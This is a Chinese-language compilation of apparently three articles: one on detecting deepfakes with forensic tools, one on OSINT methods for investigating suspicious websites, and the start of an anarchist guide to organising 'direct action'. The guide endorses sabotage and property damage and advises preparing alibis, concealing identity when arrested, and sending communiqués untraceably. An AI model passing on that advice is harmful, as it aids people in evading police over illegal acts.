视觉错误信息的传播速度非常之快，进一步强调了调查者需要谨慎行事，并确保在发布之前充分挖掘与图像有关的故事。上述20个问题很重要，并非框架中的每个问题都与每张图片有关，但上述五个基本问题是一个强有力的起点，并建立在基本的核实技能之上。

以下是20个问题框架的全部问题清单，包括14个专门针对虚假信息的提示问题。如上所述，有五个问题是需要首先解决的（黑体字）。这些提示问题与虚假信息的代理人、信息本身或解释者有关：

代理人—— 谁创造和传播了该图像，他们的动机是什么？

信息—— 图像采取什么形式，它有什么特点？

解释者—— 信息是如何被解释的，采取了什么行动？

深度造假和新兴操纵技术

「图」

深度伪造是新的视听操纵形式，允许人们对某人的面部、声音或行动进行逼真的模拟。它们使人们觉得某人说了或做了他们没有说过或做过的事。深度造假作品越来越容易制造，只需要越来越少的源图像就可以建立它们，而且越来越被商业化。目前，深度造假对女性的影响非常大，因为它们被用来制作带有特定人脸的虚假性图片和视频。人们担心深度造假会对整个社会以及新闻收集和验证过程产生更广泛的影响。

深度造假只是人工智能（AI）支持的合成媒体生成技术系列中的一个

发展。合成媒体技术目前可以实现这些形式的操作：

- 在视频中添加和删除物体。
- 改变视频中的背景条件。例如，改变天气，使一个在夏天拍摄的视频看起来像是在冬天拍摄的。
- 模拟和控制一个特定个人的嘴唇、面部表情或身体运动的真实视频表现。虽然深度造假的讨论一般集中在脸部，但类似的技术也被应用于全身运动，或脸部的特定部位。比如这里的介绍《当视频证据显示你杀人…… 全身DeepFake意味着什么？》
- 生成一个特定人的声音的逼真模拟，让目标人“说出”他从来不会说的话。
- 用不同性别或特定人物的“声音皮肤”修改现有的声音。
- 为一个不存在的人创造一个逼真的但完全虚假的照片。同样的技术也可用于制造假的汉堡包、猫等。见这里的介绍《追踪网络水军团队：如何识别机器学习制造的假人脸—案例》
- 将一张逼真的脸从一个人身上转移到另一个人身上。

鉴于媒体取证和新兴的深度造假技术的性质，必须接受这样的事实：没有证据表明某样东西被篡改，并不能成为没有被篡改的确凿证据。

公民调查需要围绕照片、视频和音频建立一种有分寸的怀疑心态。必须假定，随着对深度造假的认识和恐惧的增加，不论是声音还是影像，都将受到更频繁的挑战。培养对媒体取证工具的高度熟悉也是至关重要的。

考虑到这一点，分析和验证深度造假和合成媒体操纵的方法应该包括：

- 审查内容，看是否有合成媒体产生的蛛丝马迹或细节失真。
- 应用现有的视频验证和取证方法。
- 利用新兴的基于人工智能的方法和新兴的取证方法。

这里有一个研讨会《开源情报和取证学如何对付“深度造假”？（有很多视频）》。

审查明显的故障或失真现象

这是识别深度造假和其他合成媒体修改的不健全细节的方法，特别是考虑到该技术的不断发展。也就是说，做得不好的深度造假或合成内容可能会出现一些明显的错误证据。

在检查是否为深度造假时需要注意的事项包括：

- 额头/发际线或脸部移动到固定的运动范围之外时可能出现的扭曲。
- 缺少牙齿的细节。
- 过于光滑的皮肤。
- 没有眨眼。
- 一个静态的演讲者，没有任何真正的头部运动或表情范围。
- 当一个人从正面转到侧面时出现故障。

目前，其中一些故障更有可能在逐帧分析中显现出来，因此提取一系列的帧来单独检查会有帮助。正面-侧面运动方面的故障就不是这样了—— 这些故障最好在一个序列中看到，所以您应该两种方法都做。

应用现有的视频验证方法

「图」

与其他形式的媒体操纵和浅层造假一样，如错误的文本或被编辑的视频，您应该将您的方法建立在成熟的核查实践中。现有的开源情报验证实践仍然可用。由于目前大多数深度造假或修改都不是完全合成的，而是依靠对源视频进行修改，所以您可以使用视频中的帧来使用反向图像搜索寻找其他版本。也可以检查视频，看看景观和地标是否与谷歌街景中同一地点的图像一致。

同样，基于了解内容是如何被分享的，由谁分享，以及如何分享的方法，可能会揭示出关于是否信任图像或视频的信息。

确定一个内容的来源、日期、时间和动机的基本原则对于确定它是否记录了一个真实的事件或人是至关重要的。而且，一如既往，必须联系视频中的人物，征求他们的意见，看看他们是否能提供具体信息来支持或反驳其真实性。

学术界、平台和新闻创新实验室也正在开发新的工具，以协助检测合成媒体，并扩大媒体取证工具的可用性。在大多数情况下，这些工具应被视为信号，以补充您基于最佳实践的验证方法。

InVID 和 Forensically 等工具可帮助进行基于来源的图像验证和有限的取证分析。用法：《如何使用 InVid-WeVerify：数字信息验证的“瑞士军刀”》；《5个简单方法快速检测造假照片》。

这一工作领域的免费工具包括：

1、FotoForensics：一个图像取证工具，包括错误级别分析的能力，以查看图像的元素可能被添加的地方。具体介绍见《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧》；一个案例演示《网络水军如何试图影响选举？》。

2、Forensically：一套用于检测克隆、错误级别分析、图像元数据和其他一些功能的工具。具体介绍见《社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？》。

3、InVID: 一个网络浏览器扩展，能够将视频分割成帧，在多个搜索引擎上进行反向图像搜索，通过放大增强并探索帧和图像，在静态图像上应用取证过滤器。使用方法见《如何使用 InVid-WeVerify：数字信息验证的 “瑞士军刀”》；案例演示见《“反歧视冲突”？非洲人和中国人之间的暴力视频是真的吗？》。

4、Reveal Image Verification Assistant: 一个具有一系列图像篡改检测算法的工具，加上元数据分析、GPS地理定位、EXIF缩略图提取以及通过谷歌与反向图像搜索的整合。更多相关工具见《超级情报收集工具库》。

5、Ghiro: 一个开源的在线数字取证工具。在防御方面的用法见《社交媒体情报和反情报基本工具手册：自我人肉（2）》。

请注意，几乎所有这些都是为验证图像而设计的，而不是视频。这是取证领域的一个弱点，所以对于视频来说，仍然有必要提取单个图像进行分析，InVID 可以帮助解决这个问题。这些工具对高分辨率、非压缩的视频最为有效。视频被压缩、被反复重新保存或在不同的社交媒体和视频分享平台上分享的次数越多，这些工具的效用就越小。

如果您正在寻找新兴的取证工具来处理现有的视觉取证问题以及最终的深度造假，一个选择是看看学术界正在分享的工具。那不勒斯大学的一个领先的研究中心提供在线访问他们的代码，除其他领域外，还包括检测相机指纹（Noiseprint）、检测图像拼接（Splicebuster）和检测视频中的复制移动和移除。

随着合成媒体的发展，新形式的人工和自动取证将得到完善，并被整合到事实调查者使用的现有验证工具中，同时也可能被整合到基于平台的方法中。重要的是，公民调查者要努力保持对现有工具的更新，

同时也不要过度依赖它们。〇

—— 未完待续 ——

Verifying and questioning images

原文

调查一个可疑网站的最简单方法：从追踪到验证的思考方式（6） - iyouport

开始调查

即便您不理解技术，也可以使用最简单的方法挖掘到一些证据

在追踪网络水军、虚假信息政治宣传、欺诈骗钱等很多调查案例中，您都会遇到网站作为线索；即便您不理解技术，也可以使用最简单的方法挖掘到一些证据，最重要的是，您需要知道该注意哪里。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1）》
- 《发现不正常的活动：从追踪到验证的思考方式（2）》
- 《突发事件中需要注意的东西：从追踪到验证的思考方式（3）》
- 《从可疑信号开始：从追踪到验证的思考方式（4）》
- 《验证图像和视频信息时您需要思考什么：从追踪到验证的思考方式（5）》

网站经常被那些从事媒体操纵的人用来赚取收入、收集电子邮件和其他个人信息、或以其他方式建立一个网上滩头。公民调查必须了解如何调查一个网站的存在，并在可能的情况下，将其与可能涉及社交媒体账户、应用程序、公司或其他实体的更大行动联系起来。

请记住，文本、图像或整个网站本身可能会随着时间的推移而消失——特别是在您开始与人们联系并提出问题之后。一个最简单的做法就是使用 Wayback Machine 来保存目标网站上的重要页面，作为工作流程的一部分。

如果一个页面在那里不能正常保存，可以使用诸如 archive.today 这

样的工具。这可以确保您可以链接到存档的网页，作为您发现的证据，并避免直接链接到一个传播错误/虚假信息的网站。

关于如何存档证据，不要错过《留下证据：如何存档开源材料？》

Hunchly是一个很好的工具，可以在您工作时自动创建您自己的个人网页档案，具体做法见这里的介绍《如何制作自己的互联网存档》。

关于存档的使用方法，这里有一个详细的指南《如何快速找到你想要的东西：追踪数字证据的小技巧》。

这些存档工具对于调查一个网站随着时间的推移是什么样子，也是必不可少的。还建议您安装 Wayback Machine 浏览器扩展，这样就可以很容易地对网页进行存档并查看早期版本。

另一个有用的浏览器扩展是 Ghostery，它将向您显示网页上存在的跟踪器。这可以帮助您快速识别一个网站是否使用谷歌 Analytics 和/或谷歌 AdSense ID，这将有助于使用下面概述的技术之一。

本集内容将研究调查网站时要关注的四个类别：内容、代码、分析、注册和关联元素。

内容

「图」

大多数网站至少会告诉您一些关于他们是什么的简介。无论是在专门的“关于”页面，还是在页脚或其他地方的描述，这都是一个好的开始。同时，缺乏明确的信息可能暗示该网站是匆忙创建的，或试图隐瞒有关其所有权和目的的细节。

隐瞒所有权有很多原因，比如敏感人士发起行动动员的网站，其中不应该被找到所有权和身份的详细信息，以避免被政府当局加害。在“关于”页面找不到详细介绍并不是“可疑”的确定性标准，您应该结合更多线索以进行分析。

除了阅读任何基本的“关于”文本外，还要对网站的内容进行彻底审查，以确定谁在经营它，其目的是什么，以及它是否是一个更大的网络或倡议的一部分。

需要寻找的一些东西：

- 它是否在关于它的页面上标识了所有者或任何企业实体？也要注意它是否没有“关于”页面。
- 它是否在主页或任何其他页面的最底部的版权声明中列出了公司或个人？
- 它是否在隐私政策或条款和条件中列出任何姓名、地址或公司实体？这些名字或公司是否与页脚、关于页面或网站其他地方列出的不同？
- 如果该网站发表文章，注意署名以及它们是否是可点击的链接。如果是的话，看看它们是否指向有更多信息的作者页面，如个人简历或作者的社交媒体账户链接。
- 该网站是否有相关的社交媒体账户？这些可能是在主页的顶部、底部或侧面的小图标形式，或者是邀请您点赞其 Facebook 页面的嵌入。如果页面上有 Facebook 和 Twitter 等平台的图标，将鼠标悬停在这些图标上，在浏览器窗口的左下方查看它们所指向的URL。通常情况下，一个匆忙创建的网站不会费心在网站的模板中填写具体的社交媒体资料ID。在这种情况下，您只会看到链接显示为 facebook.com/，没有用户名。
- 该网站是否列出了任何产品、客户、推荐或其他可能有联系并值得研究的人或公司？
- 一定要在主页之外挖掘。点击所有的主菜单，向下滚动到页脚，找到值得访问的其他页面。

检查内容的一个重要部分是看它是否是原创。该网站的“关于”页面或其他一般文本是否是从其他地方复制的？该网站是否传播虚假信息或误导性信息，或帮助推动特定的议程？

2018年有一个大型的数字广告欺诈项目，该项目涉及移动应用程序和内容网站，以及空壳公司、假雇员和假公司。调查人员最终发现有超过35个网站与该计划有关。识别许多网站的最简单方法之一是复制一个网站的关于页面上的文字，并将其粘贴到谷歌搜索框中，就会立即发现大约有20个网站的文字完全相同。它们是一个宣传网络。

欺诈者还为他们的幌子公司创建了网站，以帮助他们在广告网络的潜在合作伙伴来访进行尽职调查时显得合法。一个例子是一家名为 Atoses 的公司。它的主页上列出了几个员工的头像。使用 Yandex 的反向图像搜索（最好的人脸图像搜索）很快就能发现，其中有几个是盗取的图像：

Atoses 在其网站的页脚也有这样的文字：“我们精心打造精美实用、相互联系的生态系统，使企业成长，并在网络媒体和用户之间建立持久的关系”。

这段文字也出现在至少两家营销机构的网站上。

如果一家公司在其网站上使用的员工照片是来自互联网图片库的和搭配了抄袭的文字，您就知道它不是它所声称的那样。

从网站上的文章中复制和粘贴文字，并将其输入谷歌或其他搜索引擎，也是一个好主意。有时，一个声称是新闻来源的网站只是在剽窃其他真实的渠道。

另一个基本步骤是取一个网站的URL并在谷歌中搜索。例如，“forbesbusinessinsider.com”。这将使您可以了解该网站有多少页面被索引，也可能会出现其他人报道或谈论该网站的例子。您也可以通过加载谷歌新闻的主页并在搜索框中输入“forbesbusinessinsider.com” 来检查该网站是否被列入了谷歌新闻中。

另一个提示是将网站的URL粘贴到 Twitter.com 或 Facebook.com 的搜索栏中。这将显示出人们是否正在链接到该网站。

一旦您挖掘了一个网站的内容，就该了解它是如何传播的。这方面有两个工具可用：BuzzSumo 和 CrowdTangle。

2016年，一项研究从海外经营的美国政治新闻网站的调查将目标锁定在北马其顿的 Veles 镇上的网站。调查者利用域名注册的细节（下文会有更多介绍），确定了100多个从该镇运行的美国政治网站。为了了解他们的内容有多受欢迎，以及他们发表的是什么样的报道，取几个看起来最活跃的网站的网址，并在 BuzzSumo 中对其进行搜索。BuzzSumo 是一种工具，可以根据网站在Facebook、Twitter、Pinterest和Reddit上的参与程度来显示网站的内容列表。它有一个免费版本，不过付费产品提供的结果要多得多）。

可以立即看到，这些网站在 Facebook 上参与度最高的文章是完全错误的。下图显示了 BuzzSumo 的基本搜索结果屏幕，其中列出了特定网站的Facebook、Twitter、Pinterest 和 Reddit 的参与度，以及2016年的一些虚假报道样本：

确定一个网站的内容如何在 Facebook、Twitter、Instagram 和 Reddit 上传播的另一个方法是安装免费的 CrowdTangle 浏览器扩展，或使用其基于网络的链接搜索工具。两者都提供相同的功能。这些工具是免费的，但您需要一个Facebook账户才能使用。

BuzzSumo 和 CrowdTangle 的关键区别在于，您可以在 BuzzSumo 中输入一个网站的URL，它将自动调出该网站上参与度最高的内容。CrowdTangle 是用来检查一个网站的特定URL的。因此，如果您输入 buzzfeednews.com，在 CrowdTangle 中，它将只显示该主页的参与度统计，而 BuzzSumo 将扫描整个域名的顶级内容。另一个区别是，CrowdTangle 的链接搜索工具和扩展将只显示过去七天的Twitter参与情况。BuzzSumo 提供的是网站上文章在Twitter上的所有分享次数。

作为一个例子，在 CrowdTangle 链接搜索中输入一个关于多伦多沸水警告的虚假旧报道的URL。该网站后来删除了这篇报道。CrowdTangle 显示，这个网址自发布以来在Facebook上收到了超过20,000条互动、评论和分享。它还显示了一些分享该链接的网页和公共团体，并提供了查看 Instagram、Reddit和Twitter类似数据的选项。请记住：Twitter 选项将只显示过去七天的推文。

在这里，看到的一小部分页面和群组名单并没有真正反映出 Facebook 的总互动数量。这至少有一部分原因是，在最初发布链接时，一些传播链接的关键页面后来被 Facebook 删除了。这是一个有用的提醒，CrowdTangle 只显示来自活跃账户的数据，它不会向您展示分享某个特定URL的每个公共账户。这是一个选择，但仍然非常有用，因为它经常可以揭示特定社交媒体账户和网站之间的明确联系。

如果同一个 Facebook 页面一直 —— 或专门 —— 分享一个网站的内容，这可能表明它们是由同一个人经营的。现在您可以挖掘页面，将信息与网站进行比较，并有可能确定参与的人和他们的动机。

CrowdTangle 中列出的一些 Facebook 链接分享结果也可能是人们在 Facebook 群组中分享的文章。注意分享链接的账户，看看他们是否传播过该网站的其他内容。同样，这可能是一种联系。

注册

「图」

网络上的每个域名都是一个中央数据库的一部分，该数据库存储了有关其创建和历史的基本信息。在某些情况下您可能会很幸运地找到有关支付注册域名的个人或实体的信息。可以通过whois搜索来调出这些信息，许多免费的工具都提供这种搜索。还有一些很好用的免费和低价的工具，可以带来额外的信息，如谁在一段时间内拥有一个域名、它被托管的服务器、以及其他有用的细节。

有一点需要注意的是，当您注册一个域名时，为保护您的个人信息而付费是相对便宜的。如果您对一个域名进行whois搜索，结果列出了诸如 “注册隐私”、“WhoisGuard保护” 或 “Perfect Privacy LLC ” 的注册人，这意味着它受到了隐私保护。即使在这些情况下，Whois搜索仍然会告诉您该域名最近的注册日期、何时到期以及该网站所在的互联网IP地址。

DomainBigData 是调查域名及其历史的最佳免费工具之一。您还可以输入电子邮件或个人或公司的名称，通过这些数据而不是URL进行搜索。

您可能想收藏的其他负担得起的服务是 DNSlytics、Security Trails 和 Whoisology。一个很好的但更贵的选择是 DomainTools 的 Iris调查产品。

例如，如果在 DomainBigData 中输入 dentondaily.com，可以看到它已被隐私保护。幸运的是，仍然可以看到，它注册于2019年8月。

另一个例子，在 DomainBigData 搜索 newsweek.com。立即看到所有者并没有为隐私保护付费。这里有一个公司的名字，一个电子邮件地址，电话和传真号码。

还可以看到，这个实体自1994年5月以来一直拥有这个域名，而且该网站目前的主机是52.201.10.13这个IP地址。接下来要注意的是，该公司的名称、电子邮件和IP地址都是链接，这意味着它们可以将您引向属于 Newsweek LLC 的其他域名，domains@ibtimes.com，以及托管在同一IP地址的其他网站。这些联系在调查中是非常重要的，所以查看同一人或实体拥有的其他域名总是可能有效。

至于IP地址，要注意完全没有联系的网站可能被托管在同一台服务器上。这通常是因为人们使用同一家托管公司来托管他们的网站。一个一般的规则是，在同一服务器上托管的网站越少，它们就越有可能相关。但这并不确定。

如果您看到一个服务器上有数百个网站托管，它们之间可能没有所有权连接。但是，如果您看到只有九个，例如，您感兴趣的那个网站有私人注册信息，就值得对其他八个域名进行whois搜索，看看它们是否可能有一个共同的所有者，以及这个人是否可能也拥有您正在调查的网站。人们可能为一些网络域名支付隐私保护费，但却忽略了对其他域名的保护。

使用IP、内容和/或注册信息是识别网络和其背后行为者的最基本方法。

下面来看看另一种利用网页代码调查网站的方法。

源代码和分析

「图」

首先是查看网页的源代码，然后在其中搜索，看是否能找到谷歌Analytics 和/或谷歌AdSense代码。这些都是来自谷歌的大受欢迎的产品，使网站所有者能够跟踪网站的统计数据或通过广告赚钱。一旦集成到一个网站，每个网页都会有一个独特的ID，与网站所有者的Analytics 或 AdSense 账户相连。如果有人经营多个网站，他们往往使用同一个 Analytics 或 AdSense 账户来管理这些网站。这就为调查人员提供了机会，通过在源代码中找到相同的ID，就可以将看似独立的网站连接起来。幸运的是，这很容易做到。

首先，进入您的目标网站，使用 dentondaily.com。在Mac版Chrome浏览器中，选择 “查看” 菜单，然后选择 “开发人员” 和 “查看源代码”。这将打开一个包含网页源代码的新标签。在PC版的Chrome浏览器中，按ctrl-U键。

所有谷歌Analytics的ID都以 “ua-” 开头，然后有一串数字。AdSense ID 有 “pub-” 和一串数字。您可以通过在页面上进行 “查找” 在源代码中找到它。在Mac上是 command-F；在PC上是 ctrl-F。这就会出现一个小的搜索框。输入 “ua-” 或 “pub-”，然后您会看到页面中的任何ID。

如果您找到一个ID，复制它并将其粘贴到 SpyOnWeb、DNSlytics、NerdyData 或 AnalyzeID 等服务的搜索框中。请注意，您可能经常从每个服务中收到不同的结果，所以测试一个ID并比较结果很重要。在下面的图片中可以看到 SpyOnWeb 发现了三个具有相同 AdSense ID 的域名，但 DNSlytics 和 AnalyzeID 又发现了其他几个域名。

有时一个网站在过去有一个ID，但现在已经不存在了。这就是为什么必须在任何其他据称有这些ID的网站上使用同样的查看源代码方法，以确认它们的存在。请注意，AdSense 和 Analytics 的ID仍然存在于Wayback Machine 中一个网站的存档版本中。因此，如果您在一个现存的网站上没有找到ID，一定要检查 Wayback Machine。

所有这些服务都可以免费提供一些结果，但通常需要付费才能得到完整的结果，特别是如果您要追踪的ID在很多其他网站上都存在的话。

关于检查源代码的最后说明。即使您不懂HTML、JavaScript、PHP或其他常见的网络编程语言，也值得扫描整个页面。例如，如果人们重复使用相同的设计模板，有时会忘记改变页面或网站的标题。这个简单的错误可以提供一个连接点。

比如调查 Atoses这样的幌子公司的广告欺诈计划，其中牵涉到一家名为 FLY Apps 的公司。查看该公司网站单页的源代码，其中包含了纯文本的 “Loocrum” 一词（如下）：

在谷歌上搜索这个词，发现一家名为 Loocrum 的公司，其网站设计与 FLY Apps 完全相同，并且有一些相同的内容。通过whois搜索发现，用于注册 loocrum.com 的电子邮件地址也被用来注册相关调查中发现的其他空壳公司。FLY Apps 和 Loocrum 之间的这种联系提供了重要的补充证据，证明经营 FLY Apps 的四个人与整个欺诈计划有关。而且，只需简单地滚动一下源代码，寻找看起来不合适的纯文本单词，就可以发现这一点。

结论

「图」

即使有了上述所有的方法和工具，您仍然有可能陷入死胡同，尤其是在面对高明的对手时。但是，往往有另一种方法可以在一个网站上找到联系或进一步调查的途径。点击每一个链接，研究内容，阅读源代码，看看谁在网站上签名，看看谁在分享它，并检查您能想到的其他任何东西，以揭示真正发生的事。〇

—— 未完待续 ——

Investigating websites

原文

（0）直接行动分步指南：它是什么、它有什么用、如何获得成功 - iyouport

无政府主义行动技巧、战术和原理

（2021年4月13日存档）直接行动意味着省去中间人：自己解决问题，而不是向当局请愿或依赖外部机构。

IYP有一个单独的列表 “直接行动”，这在中国依然非常小众。

简单地说，直接行动意味着省去中间人：自己解决问题，而不是向当局请愿或依赖外部机构。

任何避开法规和代表、直接实现目标的行动都是直接行动 —— 它包括一切，从封锁机场到帮助难民逃到安全地带，以及组织计划，将你的社区从对资本主义的依赖中解放出来；开发自由软件帮助人们摆脱监视资本家的控制，组办社区家庭教学，帮助孩子摆脱义务教育的洗脑 …… 以及更多方式，所有这一切都是直接行动。

📌 我们曾经上传过一份指南，见下图，在这里下载：https://www.patreon.com/posts/zhi-jie-xing-ce-38159817

📌 本文将介绍组织和开展直接行动的步骤指南，从最初的计划阶段到最后的汇报，包括法律支持、媒体策略和适当的安全。

有无数种情况都可能让人们想要采取直接行动。也许卑鄙的跨国监视技术公司的代表正在你的城市举行会议，他们的监视技术卖给暴政用来抓捕和判罪异议人士，而您想做的不仅仅是站在门外举个牌子；也许这些资本家已经占据你的城市很久，土壤被污染、牲畜死亡、人类患病，而这些工厂继续剥削工人并不受惩罚，您想阻止他们的恶行；也许您想组织一个节日性的、面向社区的活动，如街头派对，以凝聚反抗精神 ；也许您看到人们不打断被社交媒体情报抓捕，您希望为言论自由开辟一片空间 ……

直接行动可以在废弃的土地上种植一个公共花园，或者用破坏推土机的方式来保卫家园；可以占领空旷的建筑来安置无家可归者；开发安

全去中心化自由软件替代品分发给人们 …… 无论您是与几个值得信赖的亲密朋友秘密行动，还是与数千人一起行动，基本要素都是一样的。

概括直接行动：循序渐进指南

「图」

1、首先… 头脑风暴：选择项目并制定计划

「图」

头脑风暴可以从您想要解决的问题开始，或者从您想要做出的社会贡献开始；它可以来自您所拥有的资源、您所渴望的经验、或您想要合作的人提供的信息。

您可以策划一次短期的冒险，也可以策划一次长期的活动。

通常情况下，最好的头脑风暴发生在非正式谈话的过程中—— 相信您最疯狂的想法可以变成现实，并希望尝试一下。

同样的道理，即使是参加别人组织的活动，最好也要自己带一个计划，这样您才能以自己的方式做出贡献。

如果您的行动有意义，可以公开组织，建立一种形式，比如公开集会，在其中制定战略和战术。邀请朋友，或散发传单，或挨家挨户地宣布。

提前想好自己的方案，以防别人没有方案。

如果想采取更秘密的行动，可以和一两个值得信赖的朋友在安全的环境中进行头脑风暴。在你们商量好的时候，把你们的想法留给自己，这样当你们准备尝试的时候，它依旧是最新的。

2、确立目标 —— 确立行动目标并确定其优先次序

「图」

您的行动是为了谁？是针对现场受众、企业媒体观众、特定企业的老板、股东、警察和政府、其他社会成员、还是参与者本身？

它要达到什么目的？是为了沟通思想、呼吁人们关注不公、激励人们、确保资源、设定特定的基调、造成显著的物质损失、提供一种威慑、展示一种他人可以应用的反抗模式、还是作为参与者的学习和联系经验？

📌 从一开始就建立对行动目标的共同理解，将省去以后当您的计划改变和潜在冲突出现时的很多麻烦。

结构

「图」

1、亲密团队—— 与您熟悉和信任的人紧密合作

「图」

直接行动组织的最有效和最安全的模式之一就是亲密团队模式（点击这个链接看到我们在系列教程对对它的讲述）。亲密团队是一群彼此间能够深深信任、有着相同目标的朋友，长期合作，彼此了解大家的特长和特点，整体会变得高效、行动更有效。

📌 对于一个小的行动，亲密团队的成员可以承担不同的角色。对于一个较大的行动，您的亲密团队可以与其他亲密团队以 “集群” 的形式进行合作，每个小组扮演一个角色。这可以使决策比在一个大的群体中更容易，因为每个群体都可以派一名代表参加发言人会议。

亲密团队的集群可以长期合作，建立信任和效力。

2、招募—— 慎重引进其他个人和团体

「图」

一旦您有了一个计划建议，就想好您需要多少人去完成它。

📌 如果您的计划需要保密，就只邀请您信任的人加入，而且您确信他们会愿意加入—— 您邀请的每一个人如果最终没有参加，那就是一个不必要的安全风险。

逐个发出邀请，不要群发邮件！这样那些决定不参加的人就不会知道其他参与者 的任何情况。

先问一些关于潜在参与者可能感兴趣的一般性问题，在他或她准备好做出承诺之前，不要透露计划的任何关键细节，如确切的目标或日期等。

当人们被带入计划并继续引入其他人时，要确保每个人对适当的安全程度有相同的理解。

随着越来越多的人参与到行动主义项目中来，重要的是每个人都要明白对他们的承诺有多大的期望。

有时，最先提出计划的小组会比其他人更投入；如果他们做了几个月的准备工作，却在最后一刻让另一个他们所依赖的小组退出，那么所有的工作都白费了。

每个人都有共同的责任，从一开始就坦诚地告诉大家，对他们的期望是现实的。同时，那些发起项目的人应该非常小心地与其他所有参与者分享所有权。信任分级。

3、权力动态—— 确保权力在您的团队中均匀分配

「图」

以参与性和协商一致的方式作出所有决定。如果您的小组规模足够大，可以使用非正式或正式的协商会议程序，以确保所有的声音都能被听到：共同制定每次会议的议程，并挑选一名主持人，以保证事情正常进行。📌 每个人的参与度越高，您所做的决定就越有依据。

📌 要注意可能不平衡的内部动态，例如 不同背景的人之间的动态，或本地组织者和外地参与者之间的动态。

每个人越是深入地参与计划和准备行动，人们就会对行动的成功越是投入。一个具有良好内部动力的小组比任何个人都要聪明；个人可以带来想法，但小组可以一起找出应用这些想法的最佳方式。

确保每个人在整个项目中都能感受到支持和舒适；在正式的结构之外和结构内部都要互相检查。虽然经常被忽视，但保持士气是成功的直接行动组织的一个重要方面。在面对意外和不确定性时，要保持冷静的头脑。

基本准备

「图」

1、安全文化 —— 以“需要知道”的方式传播信息

「图」

📌 安全文化是一种避免不健康的偏执狂的方法，在任何时候都要把风险降到最低。如果您和您的朋友们总是明智地进行自己的行为，您就可以减少对渗透和监视的恐惧。

安全文化的精髓在于，信息是在 *需要知道* 的基础上共享的。在某些情况下，您的行动需要全城的人都知道才算成功；而在另一些情况下，关键是永远不要在直接参与者的圈子之外谈论这个行动。

📌 每个参与行动的人都需要分享一种意识，即：认为什么程度的安全是合适的，并尊重他人的安全需求。

在安全问题上，“同意”和性亲密关系一样重要；在安全问题上违反他人的意愿是绝对不能接受的。从一开始就必须明确自己的安全需求；必要时一起宣誓保守秘密。

📌 除非得到他们的明确许可，否则永远不要谈论您或他人参与过的行动，无论过去的时间有多长。

当一个小组聚集在一起进行一个项目时，要确保在场的每个人都得到小组中其他人的担保—— 担保他们是可靠的和值得信赖的。为了保护所有人，您应该准备好在面对审讯和法律压力下保持沉默。

📌 从一个项目开始，您就应该按照它可能要求的最高安全级别来操作；您以后总是可以变得不那么谨慎，但如果您一开始就粗心大意，就等于对自己关闭了很多选择。

要知道您的所有行为都可能被监控或追踪：监控摄像头的记录、您的购物记录、您去的地方和与您见面的人、会议的地点、您扔进垃圾桶的物品、您访问的网站、您电脑上的文件、您留下的指纹（例如，在手电筒内的电池上），以及几乎所有与手机有关的东西。必要时设计强密码，准备好不在场证明。

2、法律支持 —— 准备在行动期间和之后提供支持的基础设施

「图」

参与行动的每个人都应该意识到并准备好他们正在承担的风险以及与之相关的潜在刑事指控。

📌 重要的是，不要把事情做得比您觉得准备好的更远：如果您在参与某种程度的风险时受伤或被捕，您对这种风险还没有做好情绪上的准备，其影响可能是衰弱的。

比起匆忙地参与一项行动，有一个糟糕的经历，然后发誓放弃所有此类活动，您最好是能慢慢地开始，稳步地建立一个可持续参与的直接行动项目，最好是希望它可以持续一辈子。

📌 如果您的行动可能会导致逮捕，为那些参与行动的人准备一个法律支持结构是必要的。这可以包括为被捕者提供一个法律援助号码，法律观察员监督和记录警察的行动，保释金，为被捕者提供即时支持并在法庭上代表他们的律师，以及一个准备在整个法庭案件中提供情感、财务和后勤支持的合作者圈子。

📌 法律援助号码应该在整个行动中随时开放，接受来电；请记住，在某些情况下，您不能从监狱里打电话。法律援助号码不应指控被捕者或接电话的人—— 如果您的不在场证明的一部分是您不认识对方（您的队友），你们就不能都从监狱拨打同一个号码。

如果您担心自己会忘记这个号码，可以用永久记号笔写在身上的隐蔽部位。操作法律援助号码的人应该知道可能被逮捕的人的真实姓名，以便查询他们的情况。

如果您有被逮捕的危险，请决定您是要带着身份证明，以加快处理速度，还是不带身份证明，这样他们就不能立即认出您。如果能有一大群拒绝提供信息的被捕者就会束缚法律程序，有时还会获得讨价还价的权力。

如果您需要吃药，可以考虑把药藏在身上，或者随身携带医生的说明，解释您需要什么。

找一个有同情心且值得信赖的律师—— 或者可能找多个律师，因为一个律师不能代表同一个罪名的多个被告。

📌 您可以研究一下哪些律师在过去处理过类似的案件。如果您不透露任何敏感的信息，可以向有同情心的律师询问与假设行为相关的指控，或者指定您可能需要他们服务的日期和时间—— 但不要让他们

知道任何可能牵扯到他们的事。

📌 为了做好他们的工作，律师需要能够证明他们与任何非法行为无关。您应该记住这点。

任何一个成员可能遭受逮捕的社区，最好提前建立一个保释基金/律师费基金；这可以可以省去很多在紧急情况下的奔波。举办义演，卖T恤，向有钱的同情者募捐，让大学里的朋友帮您预定在他们学校的演讲日期，以换取学生基金 …… 确保资金留在一个公平的、值得信赖的、总是容易联系的人手中。

📌 同样，考虑您的媒体策略是什么—— 将公众的注意力和支持引向被捕者是否明智。

3、媒体 —— 确立您想要的影响力覆盖面并获得它

「图」

早在行动之前，当您确立目标并确定优先次序时，就应准确地计算出您希望得到多少媒体报道，从哪些来源得到，以及您将如何获得或避免媒体报道。

📌 这可能意味着撰写并发送一份新闻稿（谁、什么、何时、何地、如何、为什么，都要写清楚）、或公报，在亲密团队中推选一位发言人向媒体发言以代表您的行动主义项目，邀请独立记者参加行动或新闻发布会，传真公告或拨打新闻电话，提供采访（亲自或匿名通过一次性电话），或让您的团体成员自己报道。

📌 如果您想避免某些类型的报道，这也可能意味着指派一名参与者，以确保摄影师不会将相机对准你。

如果您正在与媒体沟通，编写谈话要点、您的发言人重复的声音片段等，以确保他们在媒体报道中得到呈现。

给媒体代表尽可能少的材料，让他们不得不使用您希望他们使用的部分。追踪哪些记者倾向于提供积极的报道，并亲自接近他们，记得斯诺登等吹哨人当年怎么做的吗？

📌 如果您有一个网站，把这个网址弄到企业媒体的报道中，利用那媒体的影响力让他们的观众改道到您的媒体上。你们也可以自己通过张贴海报、海盗电台、演讲活动或挨家挨户开展对话等方式，向公众

提供信息。

📌 如果您的行动需要高度的安全性，请安全地发送您的公报：例如，从一台公共计算机上发送，不留下谁使用它的记录。要知道您使用的设备是如何让您入罪的。（在列表-5 “护盾” 栏目中看到专门提供给行动者的安全知识）

基础工作

「图」

